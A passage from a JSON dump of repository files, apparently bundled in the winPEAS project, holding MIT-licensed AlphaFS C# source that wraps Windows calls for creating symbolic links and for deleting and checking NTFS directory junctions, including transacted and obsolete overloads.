name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"symlink\")]\n      [SecurityCritical]\n      public static void CreateSymbolicLink(string symlinkDirectoryName, string targetDirectoryName, PathFormat pathFormat)\n      {\n         File.CreateSymbolicLinkCore(null, symlinkDirectoryName, targetDirectoryName, SymbolicLinkTarget.Directory, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Junctions, Links/Directory.CreateSymbolicLinkTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Creates a symbolic link (similar to CMD command: \"MKLINK /D\") to a directory as a transacted operation.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Symbolic links can point to a non-existent target.</para>\n      /// <para>When creating a symbolic link, the operating system does not check to see if the target exists.</para>\n      /// <para>Symbolic links are reparse points.</para>\n      /// <para>There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path.</para>\n      /// <para>See <see cref=\"Security.Privilege.CreateSymbolicLink\"/> to run this method in an elevated state.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"symlinkDirectoryName\">The name of the target for the symbolic link to be created.</param>\n      /// <param name=\"targetDirectoryName\">The symbolic link to be created.</param>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"symlink\")]\n      [SecurityCritical]\n      public static void CreateSymbolicLinkTransacted(KernelTransaction transaction, string symlinkDirectoryName, string targetDirectoryName)\n      {\n         File.CreateSymbolicLinkCore(transaction, symlinkDirectoryName, targetDirectoryName, SymbolicLinkTarget.Directory, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates a symbolic link (similar to CMD command: \"MKLINK /D\") to a directory as a transacted operation.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Symbolic links can point to a non-existent target.</para>\n      /// <para>When creating a symbolic link, the operating system does not check to see if the target exists.</para>\n      /// <para>Symbolic links are reparse points.</para>\n      /// <para>There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path.</para>\n      /// <para>See <see cref=\"Security.Privilege.CreateSymbolicLink\"/> to run this method in an elevated state.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"symlinkDirectoryName\">The name of the target for the symbolic link to be created.</param>\n      /// <param name=\"targetDirectoryName\">The symbolic link to be created.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>      \n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"symlink\")]\n      [SecurityCritical]\n      public static void CreateSymbolicLinkTransacted(KernelTransaction transaction, string symlinkDirectoryName, string targetDirectoryName, PathFormat pathFormat)\n      {\n         File.CreateSymbolicLinkCore(transaction, symlinkDirectoryName, targetDirectoryName, SymbolicLinkTarget.Directory, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Junctions, Links/Directory.DeleteJunction.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Deletes an NTFS directory junction.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Only the directory junction is removed, not the target.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"DirectoryInfo\"/> instance referencing the junction point.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path of the junction point to remove.</param>\n      [SecurityCritical]\n      public static void DeleteJunction(string junctionPath)\n      {\n         DeleteJunctionCore(null, null, junctionPath, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes an NTFS directory junction.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Only the directory junction is removed, not the target.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"DirectoryInfo\"/> instance referencing the junction point.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path of the junction point to remove.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void DeleteJunction(string junctionPath, PathFormat pathFormat)\n      {\n         DeleteJunctionCore(null, null, junctionPath, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes an NTFS directory junction.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Only the directory junction is removed, not the target.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"DirectoryInfo\"/> instance referencing the junction point.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path of the junction point to remove.</param>\n      /// <param name=\"removeDirectory\">When <c>true</c>, also removes the directory and all its contents.</param>\n      [SecurityCritical]\n      public static void DeleteJunction(string junctionPath, bool removeDirectory)\n      {\n         DeleteJunctionCore(null, null, junctionPath, removeDirectory, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes an NTFS directory junction.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Only the directory junction is removed, not the target.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"DirectoryInfo\"/> instance referencing the junction point.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path of the junction point to remove.</param>\n      /// <param name=\"removeDirectory\">When <c>true</c>, also removes the directory and all its contents.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void DeleteJunction(string junctionPath, bool removeDirectory, PathFormat pathFormat)\n      {\n         DeleteJunctionCore(null, null, junctionPath, removeDirectory, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Junctions, Links/Directory.DeleteJunctionTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Deletes an NTFS directory junction.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Only the directory junction is removed, not the target.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"DirectoryInfo\"/> instance referencing the junction point.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to remove.</param>\n      [Obsolete(\"Use method DeleteJunctionTransacted.\")]\n      [SecurityCritical]\n      public static void DeleteJunction(KernelTransaction transaction, string junctionPath)\n      {\n         DeleteJunctionCore(transaction, null, junctionPath, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes an NTFS directory junction.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Only the directory junction is removed, not the target.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"DirectoryInfo\"/> instance referencing the junction point.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to remove.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"Use method DeleteJunctionTransacted.\")]\n      [SecurityCritical]\n      public static void DeleteJunction(KernelTransaction transaction, string junctionPath, PathFormat pathFormat)\n      {\n         DeleteJunctionCore(transaction, null, junctionPath, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes an NTFS directory junction.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Only the directory junction is removed, not the target.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"DirectoryInfo\"/> instance referencing the junction point.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to remove.</param>\n      /// <param name=\"removeDirectory\">When <c>true</c>, also removes the directory and all its contents.</param>\n      [Obsolete(\"Use method DeleteJunctionTransacted.\")]\n      [SecurityCritical]\n      public static void DeleteJunction(KernelTransaction transaction, string junctionPath, bool removeDirectory)\n      {\n         DeleteJunctionCore(transaction, null, junctionPath, removeDirectory, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes an NTFS directory junction.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Only the directory junction is removed, not the target.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"DirectoryInfo\"/> instance referencing the junction point.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to remove.</param>\n      /// <param name=\"removeDirectory\">When <c>true</c>, also removes the directory and all its contents.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"Use method DeleteJunctionTransacted.\")]\n      [SecurityCritical]\n      public static void DeleteJunction(KernelTransaction transaction, string junctionPath, bool removeDirectory, PathFormat pathFormat)\n      {\n         DeleteJunctionCore(transaction, null, junctionPath, removeDirectory, pathFormat);\n      }\n\n      #endregion // Obsolete\n\n\n      /// <summary>[AlphaFS] Deletes an NTFS directory junction.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Only the directory junction is removed, not the target.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"DirectoryInfo\"/> instance referencing the junction point.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to remove.</param>\n      [SecurityCritical]\n      public static void DeleteJunctionTransacted(KernelTransaction transaction, string junctionPath)\n      {\n         DeleteJunctionCore(transaction, null, junctionPath, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes an NTFS directory junction.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Only the directory junction is removed, not the target.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"DirectoryInfo\"/> instance referencing the junction point.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to remove.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void DeleteJunctionTransacted(KernelTransaction transaction, string junctionPath, PathFormat pathFormat)\n      {\n         DeleteJunctionCore(transaction, null, junctionPath, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes an NTFS directory junction.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Only the directory junction is removed, not the target.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"DirectoryInfo\"/> instance referencing the junction point.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to remove.</param>\n      /// <param name=\"removeDirectory\">When <c>true</c>, also removes the directory and all its contents.</param>\n      [SecurityCritical]\n      public static void DeleteJunctionTransacted(KernelTransaction transaction, string junctionPath, bool removeDirectory)\n      {\n         DeleteJunctionCore(transaction, null, junctionPath, removeDirectory, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Deletes an NTFS directory junction.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Only the directory junction is removed, not the target.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"DirectoryInfo\"/> instance referencing the junction point.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path of the junction point to remove.</param>\n      /// <param name=\"removeDirectory\">When <c>true</c>, also removes the directory and all its contents.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void DeleteJunctionTransacted(KernelTransaction transaction, string junctionPath, bool removeDirectory, PathFormat pathFormat)\n      {\n         DeleteJunctionCore(transaction, null, junctionPath, removeDirectory, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Junctions, Links/Directory.ExistsJunction.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Determines whether the given path refers to an existing directory junction on disk.</summary>\n      /// <returns>\n      ///   <para>Returns <c>true</c> if <paramref name=\"junctionPath\"/> refers to an existing directory junction.</para>\n      ///   <para>Returns <c>false</c> if the directory junction does not exist or an error occurs when trying to determine if the specified file exists.</para>\n      /// </returns>\n      /// <para>&#160;</para>\n      /// <remarks>\n      ///   <para>The Exists method returns <c>false</c> if any error occurs while trying to determine if the specified file exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters,</para>\n      ///   <para>a failing or missing disk, or if the caller does not have permission to read the file.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path to test.</param>\n      [SecurityCritical]\n      public static bool ExistsJunction(string junctionPath)\n      {\n         return ExistsJunctionCore(null, null, junctionPath, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Determines whether the given path refers to an existing directory junction on disk.</summary>\n      /// <returns>\n      ///   <para>Returns <c>true</c> if <paramref name=\"junctionPath\"/> refers to an existing directory junction.</para>\n      ///   <para>Returns <c>false</c> if the directory junction does not exist or an error occurs when trying to determine if the specified file exists.</para>\n      /// </returns>\n      /// <para>&#160;</para>\n      /// <remarks>\n      ///   <para>The Exists method returns <c>false</c> if any error occurs while trying to determine if the specified file exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters,</para>\n      ///   <para>a failing or missing disk, or if the caller does not have permission to read the file.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path to test.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static bool ExistsJunction(string junctionPath, PathFormat pathFormat)\n      {\n         return ExistsJunctionCore(null, null, junctionPath, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Junctions, Links/Directory.ExistsJunctionTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region Obsolete\n\n      /// <summary>[AlphaFS] Determines whether the given path refers to an existing directory junction on disk.</summary>\n      /// <returns>\n      ///   <para>Returns <c>true</c> if <paramref name=\"junctionPath\"/> refers to an existing directory junction.</para>\n      ///   <para>Returns <c>false</c> if the directory junction does not exist or an error occurs when trying to determine if the specified file exists.</para>\n      /// </returns>\n      /// <para>&#160;</para>\n      /// <remarks>\n      ///   <para>The Exists method returns <c>false</c> if any error occurs while trying to determine if the specified file exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters,</para>\n      ///   <para>a failing or missing disk, or if the caller does not have permission to read the file.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path to test.</param>\n      [Obsolete(\"Use ExistsJunctionTransacted method.\")]\n      [SecurityCritical]\n      public static bool ExistsJunction(KernelTransaction transaction, string junctionPath)\n      {\n         return ExistsJunctionCore(transaction, null, junctionPath, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Determines whether the given path refers to an existing directory junction on disk.</summary>\n      /// <returns>\n      ///   <para>Returns <c>true</c> if <paramref name=\"junctionPath\"/> refers to an existing directory junction.</para>\n      ///   <para>Returns <c>false</c> if the directory junction does not exist or an error occurs when trying to determine if the specified file exists.</para>\n      /// </returns>\n      /// <para>&#160;</para>\n      /// <remarks>\n      ///   <para>The Exists method returns <c>false</c> if any error occurs while trying to determine if the specified file exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters,</para>\n      ///   <para>a failing or missing disk, or if the caller does not have permission to read the file.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path to test.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [Obsolete(\"Use ExistsJunctionTransacted method.\")]\n      [SecurityCritical]\n      public static bool ExistsJunction(KernelTransaction transaction, string junctionPath, PathFormat pathFormat)\n      {\n         return ExistsJunctionCore(transaction, null, junctionPath, pathFormat);\n      }\n\n      #endregion // Obsolete\n\n\n      /// <summary>[AlphaFS] Determines whether the given path refers to an existing directory junction on disk.</summary>\n      /// <returns>\n      ///   <para>Returns <c>true</c> if <paramref name=\"junctionPath\"/> refers to an existing directory junction.</para>\n      ///   <para>Returns <c>false</c> if the directory junction does not exist or an error occurs when trying to determine if the specified file exists.</para>\n      /// </returns>\n      /// <para>&#160;</para>\n      /// <remarks>\n      ///   <para>The Exists method returns <c>false</c> if any error occurs while trying to determine if the specified file exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters,</para>\n      ///   <para>a failing or missing disk, or if the caller does not have permission to read the file.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"junctionPath\">The path to test.</param>\n      [SecurityCritical]\n      public static bool ExistsJunctionTransacted(KernelTransaction transaction, string junctionPath)\n      {\n         return ExistsJunctionCore(transaction, null, junctionPath, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Determines whether the given path refers to an existing directory junction on disk.</summary>\n      /// <returns>\n      ///   <para>Returns <c>true</c> if <paramref name=\"junctionPath\"/> refers to an existing directory junction.</para>\n      ///   <para>Returns <c>false</c> if the directory junction does not exist or an error occurs when trying to determine if the specified file exists.</para>\n      /// </returns>\n      /// <para>&#160;</para>\n      /// <remarks>\n      ///   <para>The Exists method returns <c>false</c> if any error occurs while trying to determine if the 